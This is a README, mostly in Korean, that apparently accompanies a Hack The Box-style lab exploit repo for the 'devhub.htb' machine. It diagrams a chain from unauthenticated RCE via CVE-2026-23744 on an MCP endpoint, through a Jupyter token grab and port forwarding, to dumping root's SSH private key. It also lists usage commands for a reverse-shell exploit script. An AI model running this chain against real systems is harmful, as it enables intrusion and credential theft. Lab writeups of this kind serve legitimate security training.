
CVE-2026-23744 RCE + 권한 상승
난이도: 중간
OS: Linux
┌─────────────────────────────────────────────────────┐
│ CVE-2026-23744 │
│ Unauthenticated POST → /api/mcp/connect │
└─────────────────────┬───────────────────────────────┘
↓
Shell as mcp-dev
↓
┌─────────────────────────────────────────────────────┐
│ portfwd 8888 → Jupyter Notebook Token Grab │
└─────────────────────┬───────────────────────────────┘
↓
Browser → http://127.0.0.1:8888
↓
Shell as analyst via notebook cell
↓
┌─────────────────────────────────────────────────────┐
│ cat /opt/opsmcp/server.py │
└─────────────────────┬───────────────────────────────┘
↓
portfwd 5000 → OPSMCP API
↓
↓
/root/.ssh/id_rsa dumped
↓
┌─────────────────────────────────────────────────────┐
│ ssh -i root_id_rsa [email protected] │
│ ROOT ★ │
└─────────────────────────────────────────────────────┘
| 파일 | 설명 |
|---|---|
exploit.py | CVE-2026-23744 RCE 익스플로잇 및 취약점 점검 |
enum.py | 로컬 열거 — Jupyter, MCP, Python, 권한 상승 |
# Exploit
python3 exploit.py -t devhub.htb -l <your_ip> -r 4444
# Enumeration (once on box)
python3 enum.py --section all
python3 enum.py --section jupyter
교육 목적 및 승인된 테스트에만 사용하세요.